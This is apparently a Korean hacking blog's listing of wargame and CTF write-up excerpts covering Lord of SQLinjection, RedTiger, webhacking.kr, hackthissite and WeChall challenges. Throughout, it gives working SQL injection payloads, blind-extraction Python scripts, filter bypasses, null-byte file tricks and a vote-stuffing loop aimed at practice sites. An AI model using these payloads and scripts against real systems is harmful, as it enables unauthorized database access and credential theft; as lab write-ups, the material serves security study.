webhacking 180

Lord Of SQLinjection rubiya

include "prob_rubiya_timer.php";  include "./config.php"; // $prob_rubiya_salt = "???????";  login_chk();  dbconnect();  function reset_flag($flag_salt){    $new_flag = substr(md5($flag_salt.rand(10000000,99999999).$flag_salt.rand(10000000,99999999).$flag_salt.rand(10000000,99999999)),8,16);    $chk = @mysql_fetch_array(mysql_query("select id from prob_rubiya where id='{$_SESSION[los_id]}'"));..

sql Injection in Insert, Update and Delete clause(error based)

source : https://osandamalith.wordpress.com/2014/04/26/injection-in-insert-update-and-delete-statements/가 출처이고, 상당히 유용한 내용인것 같아서 통째로 가져옴...... 일부 공부하면서 정리 예정. Injection in Insert, Update and Delete Statements10 CommentsIntroductionMost of the time when we talk about SQL injection we extract data by using the union keyword, error based, blind boolean and time based injection methods. All this com..

hackthis javascript 1~5

level 1.아무거나 입력하면 incorrect라고 나오는데 이걸 이용해서 자바스크립트 위치를 찾아보자. 라는걸 찾긴 찾았는데 correct라는게 안보인다. 찾아보자. 맨 아래에 라고 있다. level 2.level 1과 똑같은데 length를 찾아보면. 라고 있다. 콘솔에서 돌려보면 9가 나오고 비밀번호 길이를 아무거나 9자리 입력해주면 통과한다. levle 3.조금 걸릴 뻔 했다. var thecode = 'code123'; 라고 바로 그냥 써있어서 입력했는데 나오질 않았다. 그럼 또 js파일을 만들어서 어딘가에 thecode변수를 변경해놓았다는 소리인데..... 나같은 경우 The password is: smellthecheese라고 적혀있다.. level 5.자바스크립트를 끄고 페이지 소스를 보..

webhacking/client 2015.02.12

mysql의 이상한 형변환과 컬럼 갯수.

http://rubiya-kr.tumblr.com/ rubiya님의 옮긴 블로그에서 언젠가 나중에 유용하게 쓸것 같아서 가져왔다.컬럼 갯수를 알아내는 방법인데 1234select(select*from mysql.user)=1 select(select*from mysql.user)in(1) #1241 - Operand should contain 42 column(s) view rawcountByError.sql hosted with ❤ by GitHub 이런 식으로 컬럼 갯수를 알아낼 수 있다고 한다. mysql.user대신 알아내고 싶은 테이블명을 넣으면 된다.그리고 형변환에 대한 것인데......(지인에게서 들은 정보) 난 여태까지 문자열은 정수 0과 같다고 생각하고있었다. mysql> select '..

새롭게 찾아낸 유용한 함수.

rubiya.kr 19번을 풀때 도움을 받았던 http://randa.tistory.com/category/MySQL/MySQL%20Syntex 에서 개인적으로 쓸모있는 함수가 몇개 더 있을거라 생각했었는데 잊고있었다가 지금 삽질해보니 더 발견!! 1. interval함수 5. INTERVAL(N,N1,N2,N3,...)INTERVAL은 값 N과 그 뒤의 값을 비교하여 결과를 리턴한다. 최소 1개 이상의 N(num) 값이 있어야 한다. * N < N1 일 경우 뒤 N과 관계없이 무조건 0을 리턴한다. * N1 < N2 < N3 ... 와 같이 N(num)은 뒤로갈 수록 값이 커야 한다. 내부적으로 Binary 형태로 결과를 구하기 때문이 고 만약 그렇지 않을 경우 원하는 결과가 나오지 않을 수 있다. *..

Lord Of SQLinjection iron_golem~evil_wizard

http://leaveret.kr/los/gate.php iron_golem앞의 xavius였나 그거와 같은 한글+에러기반 인젝션.http://leaveret.kr/los/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=%27%20or%20if(substr(pw,1,1)=%27%EB%A3%A8%27,1,(select%201%20union%20select%202))%20%23 답은 '루비꺼야!빼애애애애애애애액!!!' 이다. 한글이 아닌 중간에 !도 있으니 알아서 주의해서 찾을것. dark_eyes # -*- encoding: cp949 -*- import urllib2 answer = '' for i in range(1,9): for j in range(32,12..

Lord Of SQLinjection zombie_assassin~dragon

http://leaveret.kr/los/gate.phpzombie_assassin?id=%00%27%20union%20select%201%23 succubus?id=\&pw=%20union%20select%201%23 nightmare?pw=%27>2);%00 xavis크리스마스 ctf에서 나왔던것처럼 블라인드 한글 인젝션이다. 한글은 유니코드라서 2바이트로 취급하면 안된다. 답은 '우왕굳' 인데 pw='우왕굳' 이라 하면 substr(pw,1,1)처럼 뽑아내면 '우'가 뽑힌다. 2바이트로 취급하려다가 삽질함.뽑아내려면 쿼리를 참으로 만든후 substr(pw,1,1)>'가' 이런식으로 >

Lord Of SQLinjection gremlin~assassin

http://leaveret.kr/los/gate.phprubiya.kr을 다시 재정비해서? 만든 사이트... 앞에서 rubiya.kr의 풀이를 적어놨기에 따로 풀이를 적지는 않음. 비슷하다. gremlin?id=admin%27%23 cobolt?id=admin%27%23 goblin?no=-1%20union%20select%20char(97,100,109,105,110)%23 orc # -*- encoding: cp949 -*- import urllib2 answer = '' for i in range(1,9): for j in range(32,128): print i,j,answer req = urllib2.Request('http://leaveret.kr:8080/los/orc_60e5b360f95..

DareYourMind SQL Exploit 1~4

1. ' or 1=1#으로 sqli가 됨을 확인할수 있다. union으로 컬럼을 한개씩 늘려나가면서 컬럼 갯수와, 유효한 위치를 확인한 후에 공격하면 된다. ' union select name,email,3 from _User_SQL1_ where name='listito'# 처럼 입력하면 listito의이메일주소가 뜬다. 그게 답. 2. sqli는 되는데 입력할수 있는 길이가 짧다. 하나의 계정 비밀번호만 구하면 되는데, '||length(pass)=13#으로 계정 전체 패스워드가 13임을 알 수 있다. 그리고 패스워드를 like를 이용해서 한글자씩 뽑아낸다. ||pass like '첫번째글자%'#그리고 첫번째 글자가 뽑혔으면 계속해서. ||pass like '%이전글자%'#와 같은 형식으로 참이 나오..

happy-security.de javascript 1~7,9,10

http://www.happy-security.de/index.php 아니 여기는 독일어로 되있고, 정보를 제대로 입력해도 가입하기가 힘들다. 가입시 필수 정보처럼 보이는 앞에 *가 있는것만 입력하면 되고, 이메일을 받아서 그 링크로 들어간 후 비밀번호 재설정을 하니까 로그인이 된다. 근데 비밀번호 재설정을 안해도 될거 같긴 한데 독일어를 몰라서 방법을 모르겠음. 가입부터 짜증 1. 와 사이에 문제가 있다. 234+234라는 문자열과 같으면 통과. 순간 헷갈려서 어버버하며 468, 234234등을 입력해봤지만..... '234+234'라는 문자열 자체와 같으면 통과므로 234+234를 입력하면 된다. 2. http://www.happy-security.de/javascript.2.1 라는 곳에 소스가 있..

webhacking/client 2015.01.22

hack this site Realistic missions 1~5, 7

1. Uncle Arnold's Local Band Review본인은 레이징 인페르노라는 그룹에 속해있고, 뭔가 복잡한 사정으로 빚을 값아야 한다고 함.1등을 하지 못하면 망한다고 1등으로 만들어달라고 함.투표하는곳이 폼으로 되어있는데 레이징 인페르노 쪽의 폼을 개발자도구로 value=99999999정도로 바꿔준 뒤에 투표하면 엄청나게 많은 표가 가게 되고 성공한다. 2. Chicago American Nazi Party인종차별이 심한 관리자가 있는데 관리자를 탈취해서 메시지를 남기라고 함. 들어가서 소스를 살펴보면 맨 아래에 update라는 링크가 있는데 들어가보면 로그인 폼 발견. ' or 1=1-- 처럼 가벼운 sqli해보면 그냥 통과됨. 3. Peace Poetry: HACKED평화로운 시 사이트..

webhacking/etc 2015.01.20

hack this site Basic 1~10

1. 소스보기 2. 해석해보면 패스워드 파일을 올리는 것을 무시했다고 한다(??) 아무것도 입력하지말고 버튼 누르면 통과. 3. 폼이 히든 속성으로 password.php 가 숨겨져있다. https://www.hackthissite.org/missions/basic/3/password.php들어가면 비밀번호있음. 4. 보안관리자인 샘 본인도 패스워드가 너무 어려워서 재설정기능을 넣어놨다. 찾아보면 Password: 라는 폼이 있는데 페이지를 다 다운받아서value값만 내 이메일로 바꾼 후 전송해서 비밀번호를 받으면 된다. 5. 4번하고 똑같은데 좀더 보안이 강화됬다고 한다. 그런데 그냥 크롬 개발자도구로 내 이메일 주소 바꾼다음에 보내면 된다. 4번하고 똑같다. 예상해보자면 아마 4번은 소스를 전부 다운..

webhacking/etc 2015.01.20

hack this site JavaScript 1~7

1. 소스보기하면. cookies 2. 자바스크립트를 끄고 들어가면 됨. 크롬같은경우 크롬 설정에 콘텐츠설정에 있음. 3. var foo = 5 + 6 * 7 var bar = foo % 8var moo = bar * 2이고 moo의 길이와 내가 입력한 글자의 길이가 같아야된다. moo=14이므로 14글자 아무거나 입력 4. 뭔가 있어보이지만 결국은 moo를 입력하면 통과. 5. unescape('%69%6C%6F%76%65%6D%6F%6F'); 를 해석하면 됨.ilovemoo 6. 소스를 잘보면 https://www.hackthissite.org/missions/javascript/6/checkpass 를 참조해서 실행함. moo pwns가 답... 7. 윗부분 var _0x4e9d=["\x66\x72..

webhacking/client 2015.01.20

webhacking.kr 32, 33

32.투표하는 방식인데 맨 아래의 join을 누르면 내 아이디가 등록된다. 투표를 하면 vote_ok=ok라는 쿠키값이 추가된다. 쿠키를 지우고 노가다를 하던가 프로그래밍으로 하면 된다. import httplib, urllib, urllib2 form=urllib.urlencode({'id':'아이디','pw':'비번'}) req = urllib2.Request('http://webhacking.kr',form) res = urllib2.urlopen(req) cookie = res.headers.get('Set-Cookie') for i in range(0,100): req2 = urllib2.Request('http://webhacking.kr/challenge/codeing/'+\ 'code5.h..

webhacking/etc 2015.01.15

webhacking.kr 27, 29

27.sql 인젝션. no입력칸이 있고 소스보면필터링문자는 #|union|from|challenge|select|\(|\t|/|limit|=|0x이고, 구문은"select id from challenge27_table where id='guest' and no=($_GET[no])" 이다.no=-1같이 화면에 출력안되는 값으로 입력하고, )로 닫아준 후에 우회해주면 된다.-1) or no=2# 하면 되는데 =와 #이 필터링이다. 여는괄호도 필터링이므로 in()은 못쓰고 like로 우회해준다. 주석은 #대신 -- 을 쓴다. (-- 후에 한칸 띄워준다.)-1) or no like 2-- 또는 url에 ?no=-1%29%20or%20no%20like%202%20--%20로 입력하면 된다. 29.파일이름 인젝션..

webhacking.kr 25, 26, 28, 30

25. 어떤 함수가 덮어씌워있거나 끝에 확장자 txt가 붙는거같은데 널바이트를 붙이면 뒤에는해석 안한다. /?file=password.php%00 26.admin을 그냥 입력하면 안되고, decoding했을때 admin이어야 한다. admin은 인코딩 사이트에서 인코딩해도 admin이므로 직접 하는수밖에 없다. 인코딩은 글자 하나당 %16진수 아스키코드로 하면 된다. 한번하면 %61%64%6d%69%6e이고, 두번하면 %2561%2564%256d%2569%256e가 되므로 입력하면 통과. 28..htaccess를 에디트플러스로 만든 후에 내용AddType application/x-httpd-php-source .phps .php를 추가해준다이 뜻은 .phps .php확장자의 파일들을 php-source파..

webhacking/etc 2015.01.15

wargame.kr crack_crack_crack_it

내 주언어인 파이썬으로 짜려고 했는데 파이썬의 crypt모듈은 리눅스에서만 쓸 수 있다. 그냥 리눅스 키기 싫어서 php로 짰는데 리눅스 키더라도 파이썬이 더 편했을것같다. php에는 crypt()라는 함수가 있어서 이걸로 짰다. 찾아보니 파이썬 모듈도 있음. http://www.sabren.net/code/python/crypt/md5crypt.py # -*- encoding: cp949 -*- import md5crypt,string b = string.ascii_lowercase+string.digits for l in b: print l for k in b: for j in b: for i in b: id = 'G4HeulB'+l+k+j+b if md5crypt.unix_md5_crypt(id,'..

webhacking/etc 2015.01.12

WeChall No Escape, Training: MySQL I, Training: MySQL II

No Escape투표를 111개 하는건데 110개가 되면 초기화된다. 투표시 ?vote_for=bill처럼 인자가 전달되는데 끝에 '를 붙여보면 에러메시지와 함께 UPDATE noescvotes SET `bill\'`=`bill\'`+1 WHERE id=1 이라는 코드가 나온다. 내가 '를 넣은 부분은 저 빨간부분이므로 수정해서 bill`=111 where id=1%23로 보내보면 id는 건들지 말라고 하므로 bill`=111%23로 보내면 통과 Training: MySQL I"SELECT * FROM users WHERE username='$username' AND password='$password'"; 인데 아무런 필터링이 안되있음.admin'# Training: MySQL II"SELECT * F..

WeChall Prime Factory, Training: Math Pyramid, hi

Prime Factory 100만이 넘는 최초의 소수 중에서 소수 각각 자리의 합이 또 소수인 수를 두개 구해서 이어서 보내라. # -*- encoding: cp949 -*- n = 1000000; cnt = 0 while 1: for i in range(1,n): if n%i==0 and i!=1: break elif i==n-1: sum = 0 for i in range(len(str(n))): sum += int(str(n)[i]) for j in range(1,sum): if sum%j==0 and j!=1: break elif j==sum-1: cnt += 1 if cnt == 2: print str(before)+str(n) exit(1) before = n n += 1 Training: Ma..

webhacking/etc 2015.01.12

RedTigers Hackit 8 (미완)

email에 ' or username='Admin' and length(password)=18 and sleep(5) or '5로 5초 멈추는걸로 보아 길이 18 확인. ' or username='Admin' and locate(char(116),password)=1 and sleep(5) or '5 ' or username='Admin' and instr(password,char(116))=1 and sleep(5) or '5 같은 쿼리로 비밀번호를 빼내려했으나 일부 비밀번호가 안빠짐. 왜그런지는 모르겠음. 연구 필요. # -*- encoding: cp949 -*- import urllib2,time #answer = 'THEM ANI GOFL 42' answer = '' for j in range(5..

RedTigers Hackit 7

level7검색 페이지가 구현되어있다. google에 대해 포스팅한 사람의 이름을 찾는게 목표이고, 테이블은 level7_news, 컬럼은 autor이다. 검색페이지에 '를 입력하면 에러가 발생하면서 쿼리를 볼 수 있다.SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%여기%' OR text.title LIKE '%여기%')라고 나오는데 여러 가지를 입력하다 보면 빨간색의 두 여기부분에 데이터가 들어간다는걸 알 수 있다. 쿼리를 분석해보면 level7_news테이블의 별칭으로 news를, level7_texts테이블의 별칭으로 text를 ..

RedTigers Hackit 6

level6click를 클릭해보면 deddlef라는 계정이 나오고 뒷부분 주소는 /level6.php?user=1이다.0으로 바꿔보면 아무것도 안나온다. 그리고 문제가 sqli랬으니 blind는 아닐 것이다.0 union select 1,2,3,4,5%23으로 5개 붙여봤을시 user not found가 뜨는걸로 보아 컬럼이 5개이다.근데 user not found만 뜨고 1,2,3,4,5숫자는 안 뜬다. 근데0 union select 'rara',2,3,4,5%23처럼 아무곳에나 문자열을 입력해보면 Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /var/www/hackit/level6.php..

webhacking.kr 10,14,15,16,17,20,23,24

10.개발자 도구로 들어가서 left속성을 799로 만들어준 후 한번 더 클릭하면 클리어. 크롬에서 안될수도 있는데 IE로 하면 된다.(IE도 F12누르면 동일하게 개발자도구 나옴.) 14.에서var ul=document.URL;ul=ul.indexOf(".kr");ul=ul*30;부분만 콘솔에 넣고 돌려보면 ul=510이 나옴. 입력하면 답 출력. 15.view-source:http://webhacking.kr/challenge/javascript/js2.html로 보거나 자바스크립트 끄기. 16. document.body.innerHTML+="*";function mv(cd){kk(star.style.posLeft-50,star.style.posTop-50);if(cd==100) star.style...

webhacking/client 2015.01.08

webhacking.kr 3,4,11

3. 퍼즐 풀고 이름쓰는공간이 나오는데 이름 쓰면서 answer인자가 옆으로 들어가는데 끝에 ||1을 붙여 주면 answer부분이 항상 참이 되서 답 도출. 4.==으로 끝나므로 base64인코딩 예상 가능. 디코딩 후 영소문자+숫자 40글자. sha1예측 가능.두번 디코딩하면 test나옴. 11.정규표현식$pat="/[1-3][a-f]{5}_.*본인 아이피 주소.*\tp\ta\ts\ts/";[1-3]은 1~3중에 하나. [a-f]{5}는 a~f중에 하나. 그리고 그게 5개. _는그대로, .*는 그뒤에 문자가 들어가야됨. \t은 url인코딩해서 집어넣으면.?val=1aaaaa_본인 아이피 주소%09p%09a%09s%09s

webhacking/etc 2015.01.08

RedTigers Hackit 4~5

level4.간단한 블라인드 인젝션. 클릭미를 누르면 인자로 1이 전달되는데id=1이면 Query returned 1 rows. 가 출력되고, id=0이면 Query returned 0 rows. 이 출력되는 성질을 이용해서 하면 된다. level4_secret라는 테이블의 keyword라는 컬럼에서 첫번째 값을 뽑아오라고 한다.http://redtiger.labs.overthewire.org/level4.php?id=if((select%20length(keyword)=17%20from%20level4_secret),1,0)로 길이가 17인걸 알아냈다. http://redtiger.labs.overthewire.org/level4.php?id=if((select%20substr(lpad(bin(ascii..

RedTigers Hackit 1~3

http://redtiger.labs.overthewire.org level1숫자가 있는데 누르면 ?cat=1로 전달된다. 뒤에 %23으로 막아봐도 제대로 나오는걸 보면 여기다가 하면 되겠다. union select 1,2,3,4까지 입력했을때 3,4가 출력된다. 테이블 이블이 level1_users라고 하고, 입력창이 username,password로 써있으니 이걸로 컬럼 네임을 추측해서 대입해보면 된다.http://redtiger.labs.overthewire.org/level1.php?cat=1%20union%20select%201,2,username,password%20from%20level1_users%23 level2은근히 쉬울 듯 하면서 조금 해맸는데; 전달되는 인자가 없어 그냥 아이디,비밀..

선린 ctf web

http://ctf.uproot.co.kr/challenge.php 의 웹문제. web1퍼즐을 풀지 말고 소스를 보면.이라고 나와있는데 빨간색 부분이 의심스럽다. 저기로 들어가보면 클리어. web2테트리스게임에서 한번 다 죽어보면 1억점을 넘기라고 한다. 개발자도구를 열어서 보면Network 카테고리에 흐름이 보인다. 딱 봐도 check.php?score=177부분에서 177점이라는 스코어가 보내지는걸 알 수 있다.score을 변조해서 보내면 클리어. web3 링크를 타고 넘어가면 윗동네에서 미제 어른 패드로 접속하라는 글과 함께 현재 국가와 유저 에이전트 정보가 나온다. 윗동네의 구분은 http://121.180.175.72/3pig/pass.php?country=KO 에서의 끝에 get방식으로 넘어가..

webhacking/etc 2015.01.07

WeChall Training: WWW-Robots, Training: WWW-Basics, Limited Access

WWW-Robots http://www.wechall.net/robots.txt Training: WWW-Basics 본인 웹서버에 웹페이지를 직접 만들거나 그냥 코딩해도 된다. # -*- encoding: cp949 -*- import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind(('192.168.219.143',60)) s.listen(1) conn,addr = s.accept() if conn.recv(10000).find('GET /qkqhxla1/qkqhxla1.html HTTP/1.1') != -1: conn.sendall('My name is qkqhxla1 and iChall.') Limited Access 웹해킹...

webhacking/etc 2015.01.05

chall.tasteless.se Too Easy

공격 포인트를 알았는데 푸는데 한참 걸렸다. 앞문제 Infiltration처럼 정렬 관련된 ASC가 있다. ?in=,1%23가 입력됬을때 제대로 뜨는 것으로 보아 Infiltration과는 달리 앞뒤로 괄호가 안씌워져 있으므로 union을 통한 인젝션은 불가능하다. 컬럼을 숫자로 하나하나 대입해본결과 마찬가지로 컬럼은 1,2 두개이고 여러번 대입 가능하다. (?in=,1,2,1%20ASC%23 이런식으로) 컬럼 자리에는 서브쿼리로 인젝션이 가능하다. 참고로 if,case,ascii,ord는 못쓰고, or,and,*이 없어진다. 실험결과 한번만 없애서 oorr, aandnd, 다른문자 로 우회가 가능하다. 방법1.블라인드 인젝션 하라는 경고문구가 없기 때문에 일반적인 블라인드 인젝션을 했다. 풀면서 출제자..